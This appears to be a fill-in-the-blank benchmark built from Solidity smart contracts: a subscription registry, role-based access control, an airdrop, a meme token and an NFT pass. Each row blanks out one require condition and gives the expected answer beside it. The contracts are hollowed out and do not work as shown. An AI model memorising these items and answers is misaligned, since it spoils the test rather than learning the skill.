/// @notice Used in case upgrade this contract
address public previousRegistry;
/// @notice Used in case upgrade this contract
address public proxyRegistry;
/// @notice Only white listed assets can be used on platform
mapping(address => bool) public whiteListedForPayments;
/// @notice from service(=smart contract address) to tarifs
mapping(address => Tariff[]) public availableTariffs;
/// @notice from service to agent to available tarifs(tarif index);
mapping(address => mapping(address => uint256[])) public agentServiceRegistry;
/// @notice mapping from user addres to service contract address to ticket
mapping(address => mapping(address => Ticket)) public userTickets;
event PlatfromFeeChanged(uint16 indexed newPercent);
event WhitelistPaymentTokenChanged(address indexed asset, bool indexed state);
event TariffChanged(address indexed service, uint256 indexed tariffIndex);
event TicketIssued(
address indexed service,
address indexed agent,
address indexed forUser,
uint256 tariffIndex
);
constructor(address _platformOwner) {
}
/**
* @notice Add new tariff for caller
* @dev Call this method from ServiceProvider
* for setup new tariff
* using `Tariff` data type(please see above)
*
* @param _newTariff full encded Tariff object
* @return last added tariff index in Tariff[] array
* for current Service Provider (msg.sender)
*/
function registerServiceTariff(Tariff calldata _newTariff)
external
returns(uint256)
{
}
/**
* @notice Edit tariff for caller
* @dev Call this method from ServiceProvider
* for setup new tariff
* using `Tariff` data type(please see above)
*
* @param _tariffIndex - index in `availableTariffs` array
* @param _timelockPeriod - see SubscriptionType notice above
* @param _ticketValidPeriod - see SubscriptionType notice above
* @param _counter - see SubscriptionType notice above
* @param _isAvailable - see SubscriptionType notice above
* @param _beneficiary - see SubscriptionType notice above
*/
function editServiceTariff(
uint256 _tariffIndex,
uint256 _timelockPeriod,
uint256 _ticketValidPeriod,
uint256 _counter,
bool _isAvailable,
address _beneficiary
)
external
{
}
/**
* @notice Add tariff PayOption for exact service
* @dev Call this method from ServiceProvider
* for add tariff PayOption
*
* @param _tariffIndex - index in `availableTariffs` array
* @param _paymentToken - see PayOption notice above
* @param _paymentAmount - see PayOption notice above
* @param _agentFeePercent - see PayOption notice above
* @return last added PaymentOption index in array
* for _tariffIndex Tariff of caller Service Provider (msg.sender)
*/
function addTariffPayOption(
uint256 _tariffIndex,
address _paymentToken,
uint256 _paymentAmount,
uint16 _agentFeePercent
) external returns(uint256)
{
}
/**
* @notice Edit tariff PayOption for exact service
* @dev Call this method from ServiceProvider
* for edit tariff PayOption
*
* @param _tariffIndex - index in `availableTariffs` array
* @param _payWithIndex - index in `tariff.payWith` array
* @param _paymentToken - see PayOption notice above
* @param _paymentAmount - see PayOption notice above
* @param _agentFeePercent - see PayOption notice above
* for _tariffIndex Tariff of caller Service Provider (msg.sender)
*/
function editTariffPayOption(
uint256 _tariffIndex,
uint256 _payWithIndex,
address _paymentToken,
uint256 _paymentAmount,
uint16 _agentFeePercent
) external
{
}
/**
* @notice Authorize agent for caller service provider
* @dev Call this method from ServiceProvider
*
* @param _agent - address of contract that implement Agent role
* @param _serviceTariffIndexes - array of index in `availableTariffs` array
* that available for given `_agent`
* @return full array of actual tarifs for this agent
*/
function authorizeAgentForService(
address _agent,
uint256[] calldata _serviceTariffIndexes
) external virtual returns (uint256[] memory)
{
}
/**
* @notice By Ticket for subscription
* @dev Call this method from Agent
*
* @param _service - Service Provider address
* @param _tariffIndex - index in `availableTariffs` array
* @param _payWithIndex - index in `tariff.payWith` array
* @param _buyFor - address for whome this ticket would be bought
* @param _payer - address of payer for this ticket
* @return ticket structure that would be use for validate service process
*/
function buySubscription(
address _service,
uint256 _tariffIndex,
uint256 _payWithIndex,
address _buyFor,
address _payer
) external
payable
returns(Ticket memory ticket) {
}
/**
* @notice Check that `_user` have still valid ticket for this service.
* Decrement ticket counter in case it > 0
* @dev Call this method from ServiceProvider
*
* @param _user - address of user who has an ticket and who trying get service
* @return ok True in case ticket is valid
*/
function checkAndFixUserSubscription(
address _user
) external returns (bool ok){
}
/**
* @notice Decrement ticket counter in case it > 0
* @dev Call this method from new SubscriptionRegistry in case of upgrade
*
* @param _user - address of user who has an ticket and who trying get service
* @param _serviceFromProxy - address of service from more new SubscriptionRegistry contract
*/
function fixUserSubscription(
address _user,
address _serviceFromProxy
) public {
}
////////////////////////////////////////////////////////////////
/**
* @notice Check that `_user` have still valid ticket for this service.
* @dev Call this method from any context
*
* @param _user - address of user who has an ticket and who trying get service
* @param _service - address of Service Provider
* @return ok True in case ticket is valid
* @return needFix True in case ticket has counter > 0
*/
function checkUserSubscription(
address _user,
address _service
) external view returns (bool ok, bool needFix) {
}
/**
* @notice Returns `_user` ticket for this service.
* @dev Call this method from any context
*
* @param _user - address of user who has an ticket and who trying get service
* @param _service - address of Service Provider
* @return ticket
*/
function getUserTicketForService(
address _service,
address _user
) public view returns(Ticket memory)
{
}
/**
* @notice Returns array of Tariff for `_service`
* @dev Call this method from any context
*
* @param _service - address of Service Provider
* @return Tariff array
*/
function getTariffsForService(address _service) external view returns (Tariff[] memory) {
}
/**
* @notice Returns ticket price include any fees
* @dev Call this method from any context
*
* @param _service - address of Service Provider
* @param _tariffIndex - index in `availableTariffs` array
* @param _payWithIndex - index in `tariff.payWith` array
* @return tulpe with payment token an ticket price
*/
function getTicketPrice(
address _service,
uint256 _tariffIndex,
uint256 _payWithIndex
) public view virtual returns (address, uint256)
{
}
/**
* @notice Returns array of Tariff for `_service` assigned to `_agent`
* @dev Call this method from any context
*
* @param _agent - address of Agent
* @param _service - address of Service Provider
* @return tuple with two arrays: indexes and Tariffs
*/
function getAvailableAgentsTariffForService(
address _agent,
address _service
) external view virtual returns(uint256[] memory, Tariff[] memory)
{
}
////////////////////////////////////////////////////////////////
////////// Admins //////
////////////////////////////////////////////////////////////////
function setAssetForPaymentState(address _asset, bool _isEnable)
external onlyOwner
{
}
function setMainWrapper(address _wrapper) external onlyOwner {
}
function setPlatformOwner(address _newOwner) external {
}
function setPlatformFeePercent(uint16 _newPercent) external {
}
function setPreviousRegistry(address _registry) external onlyOwner {
}
function setProxyRegistry(address _registry) external onlyOwner {
}
/////////////////////////////////////////////////////////////////////
function _processPayment(
address _service,
uint256 _tariffIndex,
uint256 _payWithIndex,
address _payer
)
internal
virtual
returns(bool)
{
}
// In this impementation params not used.
// Can be ovveriden in other cases
function _platformFeePercent(
address _service,
uint256 _tariffIndex,
uint256 _payWithIndex
) internal view virtual returns(uint256)
{
}
function _addTariff(address _service, Tariff calldata _newTariff)
internal returns(uint256)
{
}
function _editTariff(
address _service,
uint256 _tariffIndex,
uint256 _timelockPeriod,
uint256 _ticketValidPeriod,
uint256 _counter,
bool _isAvailable,
address _beneficiary
) internal
{
}
function _addTariffPayOption(
address _service,
uint256 _tariffIndex,
address _paymentToken,
uint256 _paymentAmount,
uint16 _agentFeePercent
) internal returns(uint256)
{
require(<FILL_ME>)
availableTariffs[_service][_tariffIndex].payWith.push(
PayOption(_paymentToken, _paymentAmount, _agentFeePercent)
);
emit TariffChanged(_service, _tariffIndex);
return availableTariffs[_service][_tariffIndex].payWith.length - 1;
}
function _editTariffPayOption(
address _service,
uint256 _tariffIndex,
uint256 _payWithIndex,
address _paymentToken,
uint256 _paymentAmount,
uint16 _agentFeePercent
) internal
{
}
function _fixUserSubscription(
address _user,
address _service
) internal {
}
function _isTicketValid(address _user, address _service)
internal
view
returns (bool isValid, bool needFix )
{
}
function _isAgentAuthorized(
address _agent,
address _service,
uint256 _tariffIndex
)
internal
view
returns(bool authorized)
{
}
function sendValue(address payable recipient, uint256 amount) internal {
}
}
| whiteListedForPayments[_paymentToken],'Not whitelisted for payments' | 476,486 | whiteListedForPayments[_paymentToken] |
"Access: caller is not a minter" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @dev Contract module that provides an access control mechanism using
* modules {AccessControl} and {Ownable}.
* There are 4 roles: owner, default admin, admin and minter. For owner
* and default admin rights see {AccessControl} and {Ownable}
* documentation.
*/
abstract contract Access is AccessControl, Ownable {
/**
* @dev See {AccessControl}.
*/
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
/**
* @dev Modifier that checks if caller has minter role. Reverts with
* `Access: caller is not a minter`
*/
modifier onlyMinter(){
require(<FILL_ME>)
_;
}
/**
* @dev Modifier that checks if caller has admin role. Reverts with
* `Access: caller is not an admin`
*/
modifier onlyAdmin(){
}
/**
* @dev Initializes the contract setting the deployer as the owner.
* Also granting admin role to the owner.
*/
constructor () Ownable() {
}
/**
* @dev Returns `true` if `_address` has been granted admin role.
*/
function hasAdminRole (address _address) public view returns (bool) {
}
/**
* @dev Returns `true` if `_address` has been granted minter role.
*/
function hasMinterRole (address _address) public view returns (bool) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 _interfaceId) public view virtual override (AccessControl) returns (bool){
}
/**
* @dev Grants minter role to `_address`. Only an admin can use this functionality.
*/
function grantMinterRole (address _address) public onlyAdmin{
}
/**
* @dev Revokes minter role from `_address`. Only admins can use this functionality.
*/
function revokeMinterRole (address _address) public onlyAdmin {
}
/**
* @dev Revokes admin role from `_address`. Only the owner can use this functionality.
*/
function revokeAdminRole (address _address) public onlyOwner {
}
/**
* @dev Grants admin role to `_address`. Only the owner can use this functionality.
*/
function grantAdminRole (address _address) public onlyOwner {
}
}
| hasMinterRole(msg.sender),"Access: caller is not a minter" | 476,620 | hasMinterRole(msg.sender) |
"Access: caller is not an admin" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @dev Contract module that provides an access control mechanism using
* modules {AccessControl} and {Ownable}.
* There are 4 roles: owner, default admin, admin and minter. For owner
* and default admin rights see {AccessControl} and {Ownable}
* documentation.
*/
abstract contract Access is AccessControl, Ownable {
/**
* @dev See {AccessControl}.
*/
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
/**
* @dev Modifier that checks if caller has minter role. Reverts with
* `Access: caller is not a minter`
*/
modifier onlyMinter(){
}
/**
* @dev Modifier that checks if caller has admin role. Reverts with
* `Access: caller is not an admin`
*/
modifier onlyAdmin(){
require(<FILL_ME>)
_;
}
/**
* @dev Initializes the contract setting the deployer as the owner.
* Also granting admin role to the owner.
*/
constructor () Ownable() {
}
/**
* @dev Returns `true` if `_address` has been granted admin role.
*/
function hasAdminRole (address _address) public view returns (bool) {
}
/**
* @dev Returns `true` if `_address` has been granted minter role.
*/
function hasMinterRole (address _address) public view returns (bool) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 _interfaceId) public view virtual override (AccessControl) returns (bool){
}
/**
* @dev Grants minter role to `_address`. Only an admin can use this functionality.
*/
function grantMinterRole (address _address) public onlyAdmin{
}
/**
* @dev Revokes minter role from `_address`. Only admins can use this functionality.
*/
function revokeMinterRole (address _address) public onlyAdmin {
}
/**
* @dev Revokes admin role from `_address`. Only the owner can use this functionality.
*/
function revokeAdminRole (address _address) public onlyOwner {
}
/**
* @dev Grants admin role to `_address`. Only the owner can use this functionality.
*/
function grantAdminRole (address _address) public onlyOwner {
}
}
| hasAdminRole(msg.sender),"Access: caller is not an admin" | 476,620 | hasAdminRole(msg.sender) |
"amount should not be zero" | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.10;
import {IERC20} from "../dependencies/openzeppelin/contracts/IERC20.sol";
import {Ownable} from "../dependencies/openzeppelin/contracts/Ownable.sol";
import {SafeERC20} from "../dependencies/openzeppelin/contracts/SafeERC20.sol";
import {IERC721} from "../dependencies/openzeppelin/contracts/IERC721.sol";
import {IERC1155} from "../dependencies/openzeppelin/contracts/IERC1155.sol";
import {ReentrancyGuard} from "../dependencies/openzeppelin/contracts/ReentrancyGuard.sol";
contract ParaSpaceAidrop is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
struct AidropStatus {
uint128 amount;
bool claimed;
}
/**
* @dev Emitted during rescueERC20()
* @param token The address of the token
* @param to The address of the recipient
* @param amount The amount being rescued
**/
event RescueERC20(
address indexed token,
address indexed to,
uint256 amount
);
/**
* @dev Emitted during rescueERC721()
* @param token The address of the token
* @param to The address of the recipient
* @param ids The ids of the tokens being rescued
**/
event RescueERC721(
address indexed token,
address indexed to,
uint256[] ids
);
/**
* @dev Emitted during RescueERC1155()
* @param token The address of the token
* @param to The address of the recipient
* @param ids The ids of the tokens being rescued
* @param amounts The amount of NFTs being rescued for a specific id.
* @param data The data of the tokens that is being rescued. Usually this is 0.
**/
event RescueERC1155(
address indexed token,
address indexed to,
uint256[] ids,
uint256[] amounts,
bytes data
);
event AidropClaim(address indexed user, uint128 amount);
IERC20 immutable aidropToken;
mapping(address => AidropStatus) public userStatus;
uint256 public immutable deadline; // change later. we can also make dynamic if needed
constructor(address _token, uint256 _deadline) {
}
function setUsersAirdropAmounts(
address[] calldata _users,
uint128[] calldata _amounts
) external onlyOwner {
require(_users.length == _amounts.length);
for (uint256 index = 0; index < _users.length; index++) {
require(<FILL_ME>)
userStatus[_users[index]].amount = _amounts[index];
}
}
function claimAidrop() external nonReentrant {
}
function rescueERC20(
address token,
address to,
uint256 amount
) external onlyOwner {
}
function rescueERC721(
address token,
address to,
uint256[] calldata ids
) external onlyOwner {
}
function rescueERC1155(
address token,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external onlyOwner {
}
}
| _amounts[index]!=0,"amount should not be zero" | 476,627 | _amounts[index]!=0 |
"airdrop already claimed" | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.10;
import {IERC20} from "../dependencies/openzeppelin/contracts/IERC20.sol";
import {Ownable} from "../dependencies/openzeppelin/contracts/Ownable.sol";
import {SafeERC20} from "../dependencies/openzeppelin/contracts/SafeERC20.sol";
import {IERC721} from "../dependencies/openzeppelin/contracts/IERC721.sol";
import {IERC1155} from "../dependencies/openzeppelin/contracts/IERC1155.sol";
import {ReentrancyGuard} from "../dependencies/openzeppelin/contracts/ReentrancyGuard.sol";
contract ParaSpaceAidrop is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
struct AidropStatus {
uint128 amount;
bool claimed;
}
/**
* @dev Emitted during rescueERC20()
* @param token The address of the token
* @param to The address of the recipient
* @param amount The amount being rescued
**/
event RescueERC20(
address indexed token,
address indexed to,
uint256 amount
);
/**
* @dev Emitted during rescueERC721()
* @param token The address of the token
* @param to The address of the recipient
* @param ids The ids of the tokens being rescued
**/
event RescueERC721(
address indexed token,
address indexed to,
uint256[] ids
);
/**
* @dev Emitted during RescueERC1155()
* @param token The address of the token
* @param to The address of the recipient
* @param ids The ids of the tokens being rescued
* @param amounts The amount of NFTs being rescued for a specific id.
* @param data The data of the tokens that is being rescued. Usually this is 0.
**/
event RescueERC1155(
address indexed token,
address indexed to,
uint256[] ids,
uint256[] amounts,
bytes data
);
event AidropClaim(address indexed user, uint128 amount);
IERC20 immutable aidropToken;
mapping(address => AidropStatus) public userStatus;
uint256 public immutable deadline; // change later. we can also make dynamic if needed
constructor(address _token, uint256 _deadline) {
}
function setUsersAirdropAmounts(
address[] calldata _users,
uint128[] calldata _amounts
) external onlyOwner {
}
function claimAidrop() external nonReentrant {
AidropStatus memory status = userStatus[msg.sender];
require(status.amount != 0, "no airdrop set for this user");
require(<FILL_ME>)
require(block.timestamp < deadline, "airdrop ended");
userStatus[msg.sender].claimed = true;
aidropToken.safeTransfer(msg.sender, status.amount);
emit AidropClaim(msg.sender, status.amount);
}
function rescueERC20(
address token,
address to,
uint256 amount
) external onlyOwner {
}
function rescueERC721(
address token,
address to,
uint256[] calldata ids
) external onlyOwner {
}
function rescueERC1155(
address token,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external onlyOwner {
}
}
| !status.claimed,"airdrop already claimed" | 476,627 | !status.claimed |
"buy fees below 5" | // SPDX-License-Identifier: MIT
// https://twitter.com/elonmusk/status/1585459469781127168
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract HALLOMEME is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "HALLOMEME";
string private constant _symbol = "GHOST";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private size = 0;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 0;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 0;
//Start fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
address payable private _developmentAddress = payable(0xfA99588A1F6B07219a702b3CfeFD9D72A72e0475);
address payable private _marketingAddress = payable(0xfA99588A1F6B07219a702b3CfeFD9D72A72e0475);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = _tTotal * 2 / 100;
uint256 public _maxWalletSize = _maxTxAmount * 1;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function setTrading(bool _tradingOpen) public onlyOwner {
}
function manualswap() external {
}
function manualsend() external {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(<FILL_ME>)
require(redisFeeOnSell + taxFeeOnSell <= 5, "sell fees below 5");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
}
function liftLimits() public onlyOwner {
}
}
| redisFeeOnBuy+taxFeeOnBuy<=5,"buy fees below 5" | 476,644 | redisFeeOnBuy+taxFeeOnBuy<=5 |
"sell fees below 5" | // SPDX-License-Identifier: MIT
// https://twitter.com/elonmusk/status/1585459469781127168
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract HALLOMEME is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "HALLOMEME";
string private constant _symbol = "GHOST";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private size = 0;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 0;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 0;
//Start fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
address payable private _developmentAddress = payable(0xfA99588A1F6B07219a702b3CfeFD9D72A72e0475);
address payable private _marketingAddress = payable(0xfA99588A1F6B07219a702b3CfeFD9D72A72e0475);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = _tTotal * 2 / 100;
uint256 public _maxWalletSize = _maxTxAmount * 1;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function setTrading(bool _tradingOpen) public onlyOwner {
}
function manualswap() external {
}
function manualsend() external {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy + taxFeeOnBuy <= 5, "buy fees below 5");
require(<FILL_ME>)
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
}
function liftLimits() public onlyOwner {
}
}
| redisFeeOnSell+taxFeeOnSell<=5,"sell fees below 5" | 476,644 | redisFeeOnSell+taxFeeOnSell<=5 |
"We're all sold out!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@thirdweb-dev/contracts/base/ERC721LazyMint.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@thirdweb-dev/contracts/extension/PrimarySale.sol";
import "@thirdweb-dev/contracts/lib/CurrencyTransferLib.sol";
contract ChainStoryMembershipPassContract is ERC721LazyMint, PrimarySale {
/*//////////////////////////////////////////////////////////////
Private Contract Variables
//////////////////////////////////////////////////////////////*/
// Limit on how many tokens can exist
uint256 MAX_SUPPLY = 10000;
// Price per token for each sale
uint256 public pricePerToken;
// Current Token Id
uint256 private _currentTokenId;
constructor(
string memory _name,
string memory _symbol,
address _royaltyRecipient,
uint128 _royaltyBps,
address _saleRecipient,
uint256 _pricePerToken
)
ERC721LazyMint(
_name,
_symbol,
_royaltyRecipient,
_royaltyBps
)
{
}
/**
* @notice Returns the metadata URI for an NFT.
* @dev See `BatchMintMetadata` for handling of metadata in this contract.
*
* @param _tokenId The tokenId of an NFT.
*/
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function _transferTokensOnClaim(address _receiver, uint256 _quantity)
internal
virtual
override
returns (uint256 startTokenId)
{
require(<FILL_ME>)
require(msg.value == _quantity * pricePerToken, "Incorrect value passed in!");
_currentTokenId = _currentTokenId + _quantity;
startTokenId = super._transferTokensOnClaim(_receiver, _quantity);
_collectPrice(_receiver, _quantity);
}
function _canLazyMint() internal view override returns (bool) {
}
function _collectPrice(address _receiver, uint256 _quantity) private {
}
function priceForAddress(address _address, uint256 _quantity)
external
view
returns (uint256 price)
{
}
function _canSetPrimarySaleRecipient() internal view virtual override returns (bool) {
}
function setPricePerToken(uint256 _newPrice) external {
}
}
| _currentTokenId+_quantity<=MAX_SUPPLY,"We're all sold out!" | 476,691 | _currentTokenId+_quantity<=MAX_SUPPLY |
